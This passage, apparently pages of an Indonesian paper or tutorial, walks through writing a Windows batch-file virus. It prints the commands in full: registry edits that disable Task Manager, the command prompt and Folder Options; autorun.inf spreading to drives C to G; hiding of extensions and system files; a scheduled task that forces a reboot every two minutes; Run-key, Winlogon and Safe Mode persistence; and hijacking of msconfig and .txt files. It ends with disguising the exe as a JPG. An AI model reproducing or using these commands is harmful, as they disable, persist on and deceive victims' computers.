  • 31. satu metode pertahanan diri bagi file virus. Dengan perintah: REG ADD HKCUMicrosoftWindowsCurrent VersionPoliciesExplorer/v NoFolderOptions /t REG_DWORD /d 1 /f Matikan Task Manager, metode yang digunakan sama seperti untuk mematikan registry editor pada poin sebelumnya. Sehingga setiap kali Task Manager dijalankan akan langsung ditutup kembali dengan erintah: REG ADD “HKLMSoftwareMicrosoft Windows NTCurrentVersionImage File Execution Options taskmgr.exe” /v debugger /t REG_SZ /d “tskill taskmgr” /f Nonaktifkan Command Prompt, disini Command Prompt akan diblok, sehingga tidak dapat digunakan. Namun untuk file batch dapat tetap berjalan dengan perintah: REG ADD HKCUSoftwarePolicies MicrosoftWindowsSystem/v DisableCMD /t REG_DWORD /d 2 /f Buat file autorun.inf., sebelumnya periksa terlebih dahulu keberadaan file autorun.inf di folder aktif saat itu. File virusnya akan berbentuk .exe file. if not exist autorun.inf goto mk_auto. Jika tidak ditemukan, barulah dibuat file autorun-nya dengan perintah: :mk_auto Echo [Autorun] > autorun.inf Echo open = virusku.exe >> autorun.inf Echo shell1=Scan with antivirus >> autorun.inf Echo shell1Command=virusku.exe >> autorun.inf Echo shellexecute=virusku.exe >> autorun.inf Kopikan diri sendiri dan file autorun.inf ke drive C, D, E, F,G, H, untuk peng-copyan file virus ke banyak tempat, berikut perintahnya. For %%x in (C D E F G) do copy virusku.exe %%x: Sedangkan untuk file autorun-nya juga dilakukan secara terpisah. For %%y in (C D E F G) do copy autorun.inf %%y: Sembunyikan file- file yang memiliki atribut System File. Memastikan file-file dengan atribut super hidden tidak ditampakkan dengan perintah. REG ADD HKCUSoftwareMicrosoft WindowsCurrent VersionExplorer Advanced /v ShowSuperHidden /t REG_DWORD /d 0 /f Sembunyikan File Extension, akan dicoba untuk menyembunyikan ekstensi file, untuk sedikit menyamarkan file virus yang akan dibuat, agar user tidak curiga. REG ADD HKCUSoftwareMicrosoft WindowsCurrent VersionExplorer Advanced /v HideFileExt /t REG_DWORD /d 1 /f Buat file restart.bat di direktori C:Windows. Sebelum membuat file restart.bat, akan diperiksa terlebih dahulu apakah file tersebut sudah ada atau belum di folder C:Windows. Bila belum ada, baru
  • 32. kemudian dibuat file restart.bat tersebut. If not exist C:Windowsrestart.bat goto mk_restart Selanjutnya isi dari fungsi mk_restart untuk membuat file restart.bat. : mk_restart Echo shutdown –r –t 30 -c”Mohon Maaf Lahir & Batin” –f > C:Windowsrestart.bat Buat Schedule Task untuk menjalankan file restart.bat setiap 2 menit. Jadi setiap windows berjalan selama 2 menit, file restart.bat akan dijalankan. Schtasks /create /sc minute /mo 2 /tn Yohoo /tr C:Windowsrestart.bat /ru System Aktifkan virus dalam mode StartUp. Setiap kali windows berjalan maka virus juga berjalan seiring dengan file-file system yang lain. REG ADD HKLMSoftwareMicrosoft WindowsCurrent VersionRun /v privacy /t REG_SZ /d C:Windowssystem32 virusku.exe /f Alihkan eksekusi msconfig ke file virus. Saat menjalankan program msconfig, maka yang akan jalan adalah file virus, bukan jendela System Configuration Utility yang akan terbuka. REG ADD “HKLMSoftwareMicrosoft Windows NTCurrentVersionImage File Execution Optionsmsconfig.exe”/vdebugger/tREG_SZ/d“C:Windowssystem32virusku.ex/f Alihkan eksekusi file *.txt ke file virus. Hal ini dilakukan agar nantinya pada saat file .txt dijalankan, maka yang terbuka bukanlah notepad, melainkan file virus. REG ADD HKCUSoftwareMicrosoft WindowsCurrent VersionExplorer FileExts.txt /v Application /t REG_SZ /d "%SystemRoot%system32virusku.exe" /f Aktifkan virus dalam Safe Mode dan Safe Mode With Command Prompt. Hal ini bertujuan agar virus bisa tetap jalan di Safe Mode. Untuk Safe Mode sebagai berikut:REGADD“HKLMSoftwareMicrosoftWindowsNTCurrentVersionWinlo gon”/vShell/tREG_SZ/d“Explorer.exe,C:WindowsSystem32virusku.exe”/f sedangkan untuk Safe Mode With Command Prompt sebagai berikut: REG ADD HKLMSystemControlSet001 ControlSafeBoot /v AlternateShell /t REG C:Windows System32virusku.exe /f Jalankan game Minesweeper bawaan Windows. Sebenarnya ini hanya digunakan sebagai penanda bahwa virus sudah dijalankan. Konversikan file contoh3.bat menjadi file virusku.exe. Proses ini dilakukan setelah virus jadi. Langkah selanjutnya mengkonversi file .bat menjadi .exe, yaitu melakukan konversi agar file contoh3.bat dapat menjadi file virusku.exe, sesuai dengan algoritma. Proses ini nantinya akan menggunakan software untuk membuat konversi file *.bat menjadi *.exe, salah satunya yang
  • 33. sudah digunakan disini adalah Bat to EXE Converter v1.4. Pemilihan untuk menggunakan software Bat to EXE Converter dikarenakan langkah pengoperasiannya yang sangat mudah sekali. Gambar 1.1. Bat to Exe Converter Pada Gambar 1.1. terlihat ada empat field di bagian atas merupakan bagian inti yang digunakan untuk proses konversi ini, yaitu: Batchfile, tempat untuk menentukan file .bat yang akan dikonversi. Include, tempat untuk menentukan file apa saja yang disertakan dalam file .exe hasil dari proses konversi. Iconfile, tempat untuk menentukan icon apa yang akan digunakan untuk file .exe hasil konversi. Save as, untuk menentukan nama file .exe hasil konversi. Di bagian bawah ada bagian Additional Informations, untuk berbagai keterangan dari file .exe hasil konversi. Kemudian yang paling penting untuk sebuah program virus, pilihan fitur yang terletak di atas tombol Compile, yaitu Ghost Application. Virus tentu saja tidak ingin diketahui aktivitasnya, maka saat proses konversi digunakan pilihan Ghost Application, agar tidak muncul jendela konfirmasi maupun
  • 34. keterangan saat file virus nantinya dijalankan. Setelah proses konversi selesai, akan terbentuk file baru yang bernama virusku.exe, yang terihat pada gambar 1.2. Gambar 1.2. Hasil Konversi file .bat Pada Gambar 1.3. terlihat ada file virusku.exe dengan icon gambar (icon file JPG). Contoh virus ini filenya berbentuk exe file, atau memiliki ekstensi .exe, biasanya tipe file aplikasi. Saat file virusku.exe dijalankan atau dieksekusi akan muncul jendela game Minesweeper bawaan Windows. Tahap terakhir yang dilakukan adalah mengkonversi file virus agar mudah membaur dan dapat mengelabui user. Pada contoh ini digunakan icon file jpg. Sebenarnya bisa juga menggunakan icon-icon lain, hanya saja nantinya akan mempengaruhi besarnya file virus yang dihasilkan. Gambar 1.3. Minesweeper
  • 35. 1.4.4. Kesimpulan Contoh virus batch sederhana yang telah dibuat dan diujikan ke dalam sistem operasi Windows, ternyata bisa dikatakan cukup berhasil, hanya dengan menggunakan file Batch sebagai media pemrogramannya, dan perintah-perintah yang bahasa pemrogramannya cukup sederhana, bisa jadi virus yang cukup berbahaya, tetapi semuanya itu tergantung dari kreatifitas si virus maker. Isi dari file virus juga tidak terlalu banyak, hanya beberapa baris perintah saja sudah bisa merepotkan korban. Untuk virus batch ini ukuran filenya relatif lebih kecil. Dan dapat dilihat yang menjadi sasaran penyerangan sebagian besar adalah registry Windows, tetapi tidak menutup kemungkinan untuk melakukan penyerangan ke file-file yang ada, misal file dokumen, gambar, dan lain-lain, yang bisa menyebabkan file-file tersebut tidak dapat digunakan, menghilang, dan lain sebagainya. Pengembangan yang dapat dilakukan dari penelitian virus batch sederhana ini adalah membuat antivirusnya, sehingga selain mengetahui seluk beluk virus batch juga dapat menangkal virus tersebut.